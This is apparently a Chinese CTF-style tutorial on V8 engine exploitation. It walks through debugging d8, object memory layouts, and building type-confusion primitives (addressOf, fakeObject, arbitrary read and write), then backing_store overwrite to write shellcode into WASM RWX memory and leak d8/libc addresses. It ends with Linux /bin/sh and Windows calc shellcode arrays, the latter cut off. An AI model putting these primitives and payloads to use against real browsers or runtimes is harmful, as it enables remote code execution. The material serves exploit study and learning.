V8利用(1)-基础

Static Lv2

前言

V8系列文章均基于https://github.com/ErodedElk/Chaos-me-JavaScript-V8

以及从0开始学V8漏洞利用之环境搭建(一) - Hc1m1 (nobb.site)

踩雷后发现尽量用ubuntu 20.04,我用的22.04一堆报错。

环境配置请直接看上面链接,Toka✌太强了

调试

先编写(复制)调试样本测试:

1
2
3
4
5
6
7
8
9
10
//demo.js
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();

保存为demo.js

然后进入v8/out/x64_$name.release目录下可以看到d8(真正解析执行js代码),然后gdb d8

1
2
3
在gdb中执行
r --allow-native-syntax demo.js的路径
c

然后看到DebugPrint输出了一些信息,并且程序产生了中断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
pwndbg> c
Continuing.
DebugPrint: 0x2cfa081d370d: [Function] in OldSpace
- map: 0x2cfa08204919 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2cfa081c3b4d <JSFunction (sfi = 0x2cfa08144165)>
- elements: 0x2cfa0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x2cfa081d36e9 <SharedFunctionInfo js-to-wasm::i>
- name: 0x2cfa080051cd <String[1]: #0>
- builtin: GenericJSToWasmWrapper
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x2cfa081c3649 <NativeContext[252]>
- code: 0x2cfa0000d801 <Code BUILTIN GenericJSToWasmWrapper>
- Wasm instance: 0x2cfa081d35b9 <Instance map = 0x2cfa08207399>
- Wasm function index: 0
- properties: 0x2cfa0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x2cfa080048f1: [String] in ReadOnlySpace: #length: 0x2cfa08142339 <AccessorInfo> (const accessor descriptor), location: descriptor
0x2cfa08004a21: [String] in ReadOnlySpace: #name: 0x2cfa081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
0x2cfa08004029: [String] in ReadOnlySpace: #arguments: 0x2cfa0814226d <AccessorInfo> (const accessor descriptor), location: descriptor
0x2cfa08004245: [String] in ReadOnlySpace: #caller: 0x2cfa081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor
}
- feedback vector: feedback metadata is not available in SFI
0x2cfa08204919: [Map]
- type: JS_FUNCTION_TYPE
- instance size: 28
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- callable
- back pointer: 0x2cfa080023b5 <undefined>
- prototype_validity cell: 0x2cfa08142405 <Cell value= 1>
- instance descriptors (own) #4: 0x2cfa081d0445 <DescriptorArray[4]>
- prototype: 0x2cfa081c3b4d <JSFunction (sfi = 0x2cfa08144165)>
- constructor: 0x2cfa08002235 <null>
- dependent code: 0x2cfa080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

DebugPrint: 0x2cfa081d35b9: [WasmInstanceObject] in OldSpace
- map: 0x2cfa08207399 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2cfa08048065 <Object map = 0x2cfa08207af1>
- elements: 0x2cfa0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x2cfa08049ca9 <Module map = 0x2cfa08207231>
- exports_object: 0x2cfa08049e5d <Object map = 0x2cfa08207bb9>
- native_context: 0x2cfa081c3649 <NativeContext[252]>
- memory_object: 0x2cfa081d35a1 <Memory map = 0x2cfa08207641>
- table 0: 0x2cfa08049e2d <Table map = 0x2cfa082074b1>
- imported_function_refs: 0x2cfa0800222d <FixedArray[0]>
- indirect_function_table_refs: 0x2cfa0800222d <FixedArray[0]>
- managed_native_allocations: 0x2cfa08049de5 <Foreign>
- memory_start: 0x7fc4ec000000
- memory_size: 65536
- imported_function_targets: 0x563d8c4d3c60
- globals_start: (nil)
- imported_mutable_globals: 0x563d8c4d3d90
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x2cfa0800222d <FixedArray[0]>
- All own properties (excluding elements): {}

0x2cfa08207399: [Map]
- type: WASM_INSTANCE_OBJECT_TYPE
- instance size: 240
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x2cfa080023b5 <undefined>
- prototype_validity cell: 0x2cfa08142405 <Cell value= 1>
- instance descriptors (own) #0: 0x2cfa080021c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x2cfa08048065 <Object map = 0x2cfa08207af1>
- constructor: 0x2cfa081d242d <JSFunction Instance (sfi = 0x2cfa081d2409)>
- dependent code: 0x2cfa080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

可以看到DebugPrint打印出了f和WasmInstance的信息。可以使用job命令来查看对象信息,例如job 0x2cfa081d370d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> job 0x2cfa081d370d
0x2cfa081d370d: [Function] in OldSpace
- map: 0x2cfa08204919 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2cfa081c3b4d <JSFunction (sfi = 0x2cfa08144165)>
- elements: 0x2cfa0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x2cfa081d36e9 <SharedFunctionInfo js-to-wasm::i>
- name: 0x2cfa080051cd <String[1]: #0>
- builtin: GenericJSToWasmWrapper
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x2cfa081c3649 <NativeContext[252]>
- code: 0x2cfa0000d801 <Code BUILTIN GenericJSToWasmWrapper>
- Wasm instance: 0x2cfa081d35b9 <Instance map = 0x2cfa08207399>
- Wasm function index: 0
- properties: 0x2cfa0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x2cfa080048f1: [String] in ReadOnlySpace: #length: 0x2cfa08142339 <AccessorInfo> (const accessor descriptor), location: descriptor
0x2cfa08004a21: [String] in ReadOnlySpace: #name: 0x2cfa081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
0x2cfa08004029: [String] in ReadOnlySpace: #arguments: 0x2cfa0814226d <AccessorInfo> (const accessor descriptor), location: descriptor
0x2cfa08004245: [String] in ReadOnlySpace: #caller: 0x2cfa081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor
}
- feedback vector: feedback metadata is not available in SFI

可以发现对象地址并没有4字节对齐,这是为了区分对象类型和数字类型(对象类型会将真实地址+1,而数字类型不变)。所以上述对象的真实地址应该0x2cfa081d370d-1

V8 储存数据时会让这些整数都乘以2,也包括数组的长度,因此当job认为该地址是一个数字类型时,会将其除以2之后当作原本的值。即将真实值左移1位后存储

这样来看的话,所有的数字类型都会是偶数,而所有的对象类型都会是奇数,这样似乎是方便了区分类型,避免将对象类型的地址当作数字类型输出(避免一些泄露🤔

顺带我还测试了0x2cfa081d370c+20x2cfa081d370c+3的情况,发现+2时job命令会输出数据值,+3时会报错,说明+2时识别为数字类型,+3时识别为对象类型,但由于其中地址有问题,导致输出不成功

查看地址中的内存数据

1
2
3
4
5
pwndbg> x/16wx 0x36d4081d370d-1
0x36d4081d370c: 0x08204919 0x0800222d 0x0800222d 0x081d36e9
0x36d4081d371c: 0x081c3649 0x0814244d 0x0000d801 0x080026c1
0x36d4081d372c: 0x00000008 0x00000000 0x00000002 0x0800528d
0x36d4081d373c: 0x08207bbb 0x00000000 0x00000000 0x00000000

可以发现,v8 对地址数据进行了压缩储存,由于高 32bit 的地址完全相同,每个地址只会存放其低 32bit 的数据

使用vmmap命令查看程序地址空间,可以发现一段可读可写可执行的内存。

1
0x5c3bb72f000      0x5c3bb730000 rwxp     1000      0 [anon_5c3bb72f]

因此,与我们平常的用户态pwn相同,我们的目的就是在这个内存段上写入shellcode并执行。但是在高版本WASM中,这个内存段不再可写了。

数据类型

测试代码

1
2
3
4
5
6
7
8
9
10
11
//demo2.js
%SystemBreak();
a = [2.1];
b = {"a":1};
c = [b];
d = [1,2,3];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%DebugPrint(d);
%SystemBreak();

JSArray:a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> job 0x3e81080499c1
0x3e81080499c1: [JSArray]
- map: 0x3e8108203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x3e81081cc0e9 <JSArray[0]>
- elements: 0x3e81080499b1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x3e810800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3e81080048f1: [String] in ReadOnlySpace: #length: 0x3e810814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3e81080499b1 <FixedDoubleArray[1]> {
0: 2.1
}
pwndbg> x/16wx 0x3e81080499c1-1
0x3e81080499c0: 0x08203ae1 0x0800222d 0x080499b1 0x00000002
0x3e81080499d0: 0x08207aa1 0x0800222d 0x0800222d 0x00000002
0x3e81080499e0: 0x08005c11 0x00010001 0x00000000 0x080021f9
0x3e81080499f0: 0x08007b15 0x00000084 0x00000002 0x08002205

可以看出,一个JSArray的内存布局为(同时可以看到length被乘以2了

1
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |

同时我们可以注意到elements结构体的位置正好在&Array-0x10位置处,因此若elements结构体发生溢出,就可能覆盖到Array上的值

1
2
| 32bit map addr | 32bit length          | 64bit value                        |elements
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |jsarray

JS_OBJECT_TYPE:b

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> job 0x3e81080499d1
0x3e81080499d1: [JS_OBJECT_TYPE]
- map: 0x3e8108207aa1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3e81081c41f5 <Object map = 0x3e81082021b9>
- elements: 0x3e810800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3e810800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3e8108007b15: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}
pwndbg> x/16wx 0x3e81080499d1-1
0x3e81080499d0: 0x08207aa1 0x0800222d 0x0800222d 0x00000002
0x3e81080499e0: 0x08005c11 0x00010001 0x00000000 0x080021f9
0x3e81080499f0: 0x08007b15 0x00000084 0x00000002 0x08002205
0x3e8108049a00: 0x00000002 0x080499d1 0x08203b31 0x0800222d

大致内存结构为

1
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |

但elements与结构体不相邻,一般不可利用

JSArray:c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> job 0x3e8108049a09
0x3e8108049a09: [JSArray]
- map: 0x3e8108203b31 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x3e81081cc0e9 <JSArray[0]>
- elements: 0x3e81080499fd <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x3e810800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3e81080048f1: [String] in ReadOnlySpace: #length: 0x3e810814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3e81080499fd <FixedArray[1]> {
0: 0x3e81080499d1 <Object map = 0x3e8108207aa1>
}
pwndbg> x/16wx 0x3e8108049a09-1
0x3e8108049a08: 0x08203b31 0x0800222d 0x080499fd 0x00000002
0x3e8108049a18: 0x08203a41 0x0800222d 0x081d31ed 0x00000006
0x3e8108049a28: 0x00000000 0x00000000 0x00000000 0x00000000
0x3e8108049a38: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg> job 0x3e81080499fd
0x3e81080499fd: [FixedArray]
- map: 0x3e8108002205 <Map>
- length: 1
0: 0x3e81080499d1 <Object map = 0x3e8108207aa1>
pwndbg> x/16wx 0x3e81080499fd-1
0x3e81080499fc: 0x08002205 0x00000002 0x080499d1 0x08203b31
0x3e8108049a0c: 0x0800222d 0x080499fd 0x00000002 0x08203a41
0x3e8108049a1c: 0x0800222d 0x081d31ed 0x00000006 0x00000000
0x3e8108049a2c: 0x00000000 0x00000000 0x00000000 0x00000000

c和a内存布局基本相同,但因为c中存放的是一个地址,且由于地址压缩,c的elements中存放的value只有地址的32bit,但依然同JSArray相邻

JSArray:d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> job 0x3e8108049a19
0x3e8108049a19: [JSArray]
- map: 0x3e8108203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3e81081cc0e9 <JSArray[0]>
- elements: 0x3e81081d31ed <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
- length: 3
- properties: 0x3e810800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3e81080048f1: [String] in ReadOnlySpace: #length: 0x3e810814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3e81081d31ed <FixedArray[3]> {
0: 1
1: 2
2: 3
}
pwndbg> x/16wx 0x3e8108049a19-1
0x3e8108049a18: 0x08203a41 0x0800222d 0x081d31ed 0x00000006
0x3e8108049a28: 0x00000000 0x00000000 0x00000000 0x00000000
0x3e8108049a38: 0x00000000 0x00000000 0x00000000 0x00000000
0x3e8108049a48: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg> job 0x3e81081d31ed
0x3e81081d31ed: [FixedArray] in OldSpace
- map: 0x3e8108002531 <Map>
- length: 3
0: 1
1: 2
2: 3
pwndbg> x/16wx 0x3e81081d31ed-1
0x3e81081d31ec: 0x08002531 0x00000006 0x00000002 0x00000004
0x3e81081d31fc: 0x00000006 0x08003259 0x00000000 0x081d31ed
0x3e81081d320c: 0x08002205 0x00000010 0x081d31c9 0x08007b15
0x3e81081d321c: 0x081d31a1 0x08007bb1 0x081d31e1 0x081d3119

可以看到整数数组中的elements不再与结构体相邻,因此在溢出的时候往往需要用浮点数去溢出,而不能直接用整数数据溢出

类型混淆

a、c、d变量均为JSArray,那么肯定还需要存储其中变量的数据类型,读取a、d数组的map结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> job 0x086f08203ae1
0x86f08203ae1: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x086f08203ab9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x086f08142405 <Cell value= 1>
- instance descriptors #1: 0x086f081cc59d <DescriptorArray[1]>
- transitions #1: 0x086f081cc5e9 <TransitionArray[4]>Transition array #1:
0x086f0800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x086f08203b09 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x086f081cc0e9 <JSArray[0]>
- constructor: 0x086f081cbe85 <JSFunction Array (sfi = 0x86f0814adc9)>
- dependent code: 0x086f080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

pwndbg> job 0x086f08203a41
0x86f08203a41: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x086f080023b5 <undefined>
- prototype_validity cell: 0x086f08142405 <Cell value= 1>
- instance descriptors #1: 0x086f081cc59d <DescriptorArray[1]>
- transitions #1: 0x086f081cc5b9 <TransitionArray[4]>Transition array #1:
0x086f0800524d <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x086f08203ab9 <Map(HOLEY_SMI_ELEMENTS)>

- prototype: 0x086f081cc0e9 <JSArray[0]>
- constructor: 0x086f081cbe85 <JSFunction Array (sfi = 0x86f0814adc9)>
- dependent code: 0x086f080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

注意到elements kind成员用来标注elements类型

因此如果我们可以将一个变量的map地址赋给另一个变量,就可以错误地解析数据类型,即“类型混淆”。例如,考虑代码

1
2
3
4
5
float_arr= [2.1];
obj_arr=[float_arr];
%DebugPrint(a);
%DebugPrint(b);
%SystemBreak();

obj_arr是一个对象,其中存储着float_arr对象,因此访问obj_arr[0]会得到一个对象,而如果将一个浮点数数组的map赋给obj_arr的map,那么就会将obj_arr错误地解析为浮点数数组,进而访问obj_arr[0]时就会得到float_arr对象地址。(如果是C/C++那样的面向过程语言,可以直接取地址,但是对于JAVA、JS这类语言来说,直接获取地址是不被允许的。)

任意地址读

JS不允许我们直接读出地址,但我们可以利用类型混淆来读出。

addressOf

使用类型混淆读取地址的方法

一般写法为:

1
2
3
4
5
6
7
8
9
10
11
12
//获取某个变量的地址
var other={"a":1};
var obj_array=[other];
var double_array=[2.1];
var double_array_map=double_array.getMap();//假设我们有办法获取到其 map 值
function addressOf(target_var)
{
obj_array[0]=target_var;
obj_array.setMap(double_array_map);//设置其 map 为浮点数数组的 map
let target_var_addr=float_to_int(obj_array[0]);//读取obj_array[0]并将该浮点数转换为整型
return target_var_addr;//此处返回的是 target_var 的对象结构体地址
}

上述仅为大体代码,具体视情况修改。

大致逻辑就是,定义obj_array为对象数组,修改obj_array的map为浮点数数组的map,再读出obj_array[0]的值。(因为浮点数在内存中是以整数存储的,只是表示出来是浮点数而已,因此只需要把表示出来的浮点数转为整数即可)

fakeObject

伪造一个以float_arr[0]为起始的对象,即返回一个类型混淆后的伪造对象。

一般写法为:

1
2
3
4
5
6
7
8
9
10
11
12
//将某个地址转换为对象
var other={"a":1};
var obj_array=[other];
var double_array=[2.1];
var obj_array_map=obj_array.getMap();//假设我们有办法获取到其 map 值
function fakeObject(target_addr)
{
double_array[0]=int_to_float(target_addr+1n);//将地址加一以区分对象和数值
double_array.setMap(obj_array_map);
let fake_obj=double_array[0];
return fake_obj;
}

大致逻辑就是定义obj_array为对象数组,则其map表示elements为对象类型,再定义double_array为浮点数数组,将obj_array的map赋给double_array的map,这样解析出来double_array中的elements被解析出来就是以元素值为起始地址的对象了,即伪造对象。

任意地址读

即利用上述获取地址的方式来获取伪造对象位置地址,然后伪造这个对象,且对象中的elements数组可以被控制,然后访问伪造对象的元素即可实现任意地址读。

首先尝试构造出结构:

1
var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];

fake_array中的值在内存中将被当作伪造对象,其内存布局为

1
2
| 32bit elements map | 32bit length | 64bit double_array_map | 64bit 0x4141414141414141 |element
| 32bit fake_array map | 32bit properties | 32bit elements | 32bit length |JSArray

然后通过addressOf来获取fake_array的地址,进而计算出double_array_map所在地址,再利用fakeObject将其伪造成一个对象数组,对比JSArray的内存布局

1
| 32bit map addr | 32bit properties addr | 32bit elements addr | 32bit length |JSArray

double_array_map需要为一个浮点数数组的map地址,然后便可以利用fake_array[1]修改伪造对象中的elements,然后访问fakeObject[0]即可读取该地址处的数据

代码逻辑大致为

1
2
3
4
5
6
7
8
9
10
var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];

function read64_addr(addr)
{
var fake_array_addr=addressOf(fake_array);
var fake_object_addr=fake_array_addr-0x10n;
var fake_object=fakeObject(fake_object_addr);
fake_array[1]=int_to_float(addr-8n+1n);
return fake_object[0];
}

任意地址写

只需要将任意地址读的return fake_object[0]改为fake_object[0]=data即可

1
2
3
4
5
6
7
8
9
10
var fake_array=[double_array_map,int_to_float(0x4141414141414141n)];4

function write64_addr(addr,data)
{
var fake_array_addr=addressOf(fake_array);
var fake_object_addr=fake_array_addr-0x10n;
var fake_object=fakeObject(fake_object_addr);
fake_array[1]=int_to_float(addr-8n+1n);
fake_object[0]=data;
}

写入shellcode

目前所实现的任意地址写并不能正常工作。因为我们写入shellcode时需要从内存段开头开始写,而开头地址-8+1是非法地址,会产生异常。因此直接写入不能成功。

另外的方法看如下代码:

1
2
3
4
5
6
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);
%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();

调试可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pwndbg> job 0x28d0080499c9
0x28d0080499c9: [JSArrayBuffer]
- map: 0x28d008203271 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x28d0081ca361 <Object map = 0x28d008203299>
- elements: 0x28d00800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x55b6c1b57660
- byte_length: 16
- max_byte_length: 16
- detachable
- properties: 0x28d00800222d <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> job 0x28d008049a09
0x28d008049a09: [JSDataView]
- map: 0x28d008202ca9 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x28d0081c8665 <Object map = 0x28d008202cd1>
- elements: 0x28d00800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- buffer =0x28d0080499c9 <ArrayBuffer map = 0x28d008203271>
- byte_offset: 0
- byte_length: 16
- properties: 0x28d00800222d <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> tel 0x55b6c1b57660
00:0000│ 0x55b6c1b57660 ◂— 0x4000000000000000
01:0008│ 0x55b6c1b57668 ◂— 0x0

可以发现JSDataView的buffer成员即JSArrayBuffer结构体地址,而JSArrayBufferbacking_store存储真正的数据地址。如果我们能修改backing_store成员为我们想要写的地址,那么就可以通过JSDataViewsetFloat64方法直接写入了

且该版本下backing_store成员在data_buf+0x1c地址处

那么在写入shellcode的时候就可以先使用上面的任意地址写修改backing_store为shellcode存放地址,然后再用dataview.setFloat64()方法写入shellcode

1
2
3
4
5
6
7
8
9
function shellcode_write(addr,shellcode)
{
var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)+0x18n;
write64_addr(buf_backing_store_addr,addr);
for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);
}

实际操作中需要注意backing_store中写入的地址为64位,因此一般需要将目标地址的高32位和低32位一起读出,然后合并写入

如何获取写入内存段的地址呢,回到开始:

1
2
3
4
5
6
7
8
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pwndbg> job 0x1eec081d35b9
0x1eec081d35b9: [WasmInstanceObject] in OldSpace
- map: 0x1eec08207399 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1eec08048065 <Object map = 0x1eec08207af1>
- elements: 0x1eec0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x1eec08049ca9 <Module map = 0x1eec08207231>
- exports_object: 0x1eec08049e5d <Object map = 0x1eec08207bb9>
- native_context: 0x1eec081c3649 <NativeContext[252]>
- memory_object: 0x1eec081d35a1 <Memory map = 0x1eec08207641>
- table 0: 0x1eec08049e2d <Table map = 0x1eec082074b1>
- imported_function_refs: 0x1eec0800222d <FixedArray[0]>
- indirect_function_table_refs: 0x1eec0800222d <FixedArray[0]>
- managed_native_allocations: 0x1eec08049de5 <Foreign>
- memory_start: 0x7f8ed0000000
- memory_size: 65536
- imported_function_targets: 0x55c49b514c60
- globals_start: (nil)
- imported_mutable_globals: 0x55c49b514d90
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x1eec0800222d <FixedArray[0]>
- All own properties (excluding elements): {}

pwndbg> tel 0x1eec081d35b9-1
00:0000│ 0x1eec081d35b8 ◂— 0x800222d08207399
01:0008│ 0x1eec081d35c0 ◂— 0x800222d0800222d /* '-"' */
02:0010│ 0x1eec081d35c8 ◂— 0x800222d /* '-"' */
03:0018│ 0x1eec081d35d0 —▸ 0x7f8ed0000000 ◂— 0x0
04:0020│ 0x1eec081d35d8 ◂— 0x10000
05:0028│ 0x1eec081d35e0 —▸ 0x55c49b4f0df0 —▸ 0x7ffede53abf0 ◂— 0x7ffede53abf0
06:0030│ 0x1eec081d35e8 —▸ 0x55c49b514c60 ◂— 0x0
07:0038│ 0x1eec081d35f0 ◂— 0x0
pwndbg>
08:0040│ 0x1eec081d35f8 ◂— 0x0
09:0048│ 0x1eec081d3600 ◂— 0x0
0a:0050│ 0x1eec081d3608 —▸ 0x55c49b514d90 —▸ 0x7f90d84c7be0 (main_arena+96) —▸ 0x55c49b592d10 ◂— 0x0
0b:0058│ 0x1eec081d3610 —▸ 0x55c49b4f0dd0 —▸ 0x1eec00000000 ◂— 0x1b000
0c:0060│ 0x1eec081d3618 —▸ 0x1e56fd940000 ◂— jmp 0x1e56fd940480 /* 0xcccccc0000047be9 */

可以发现在wasmInstance+0x68处保存了内存段的起始地址

泄露地址

如果我们想泄露libc地址,那该如何泄露呢?可以选择JSArray结构体 -> Map结构体 -> code属性地址 -> code内存地址固定偏移处的v8指令地址 -> v8的GOT表 -> libc地址,即:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> job 0xa95080499c1
0xa95080499c1: [JSArray]
- map: 0x0a9508203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]

pwndbg> job 0x0a9508203ae1
0xa9508203ae1: [Map]
- constructor: 0x0a95081cbe85 <JSFunction Array (sfi = 0xa950814adc9)>

pwndbg> job 0x0a95081cbe85
0xa95081cbe85: [Function] in OldSpace
- code: 0x0a9500005501 <Code BUILTIN ArrayConstructor>

pwndbg> tel 0x0a9500005501-1+0x7ebab00 30
00:0000│ 0xa9507ec0000 ◂— 0x0
... ↓ 29 skipped

这里可以看到我按照Toka✌的固定偏移并未出现地址,但是我发现了如下位置

1
2
3
4
5
6
7
8
9
10
11
pwndbg> tel 0x0a9500005501-1 10
00:0000│ 0xa9500005500 ◂— and dword ptr [rsi], esp /* '!&' */
01:0008│ 0xa9500005508 ◂— sub eax, 0x45080022 /* '-"' */
02:0010│ 0xa9500005510 ◂— imul esi, dword ptr [rax + rax], 0x1008 /* 'i4' */
03:0018│ 0xa9500005518 ◂— add byte ptr [rax], al
04:0020│ 0xa9500005520 ◂— movsd dword ptr [rdi], dword ptr [rsi]
05:0028│ 0xa9500005528 ◂— or byte ptr [rax], al
06:0030│ 0xa9500005530 ◂— or byte ptr [rax], al
07:0038│ 0xa9500005538 ◂— add byte ptr [rax], al
08:0040│ 0xa9500005540 ◂— movabs r10, 0x5654c74796c0
09:0048│ 0xa9500005548 ◂— add byte ptr [rax], al

可以看到0x40偏移位置出现了一个地址,对应d8在内存中的代码段

1
2
3
4
0x5654c60fc000     0x5654c692f000 r--p   833000      0 /home/fuzz/v8/out/x64_9.6.180.6.release/d8
0x5654c692f000 0x5654c776e000 r-xp e3f000 832000 /home/fuzz/v8/out/x64_9.6.180.6.release/d8
0x5654c776e000 0x5654c77d6000 r--p 68000 1670000 /home/fuzz/v8/out/x64_9.6.180.6.release/d8
0x5654c77d6000 0x5654c77e7000 rw-p 11000 16d7000 /home/fuzz/v8/out/x64_9.6.180.6.release/d8

那么根据这个也可以泄露d8的地址,然后偏移到GOT表,进而泄露libc地址。

通用shellcode及模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//Linux x64
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

//Windows 计算器
var shellcode = [
0xc0e8f0e48348fcn,
0x5152504151410000n,
0x528b4865d2314856n,
0x528b4818528b4860n,
0xb70f4850728b4820n,
0xc03148c9314d4a4an,
0x41202c027c613cacn,
0xede2c101410dc9c1n,
0x8b20528b48514152n,
0x88808bd001483c42n,
0x6774c08548000000n,
0x4418488b50d00148n,
0x56e3d0014920408bn,
0x4888348b41c9ff48n,
0xc03148c9314dd601n,
0xc101410dc9c141acn,
0x244c034cf175e038n,
0x4458d875d1394508n,
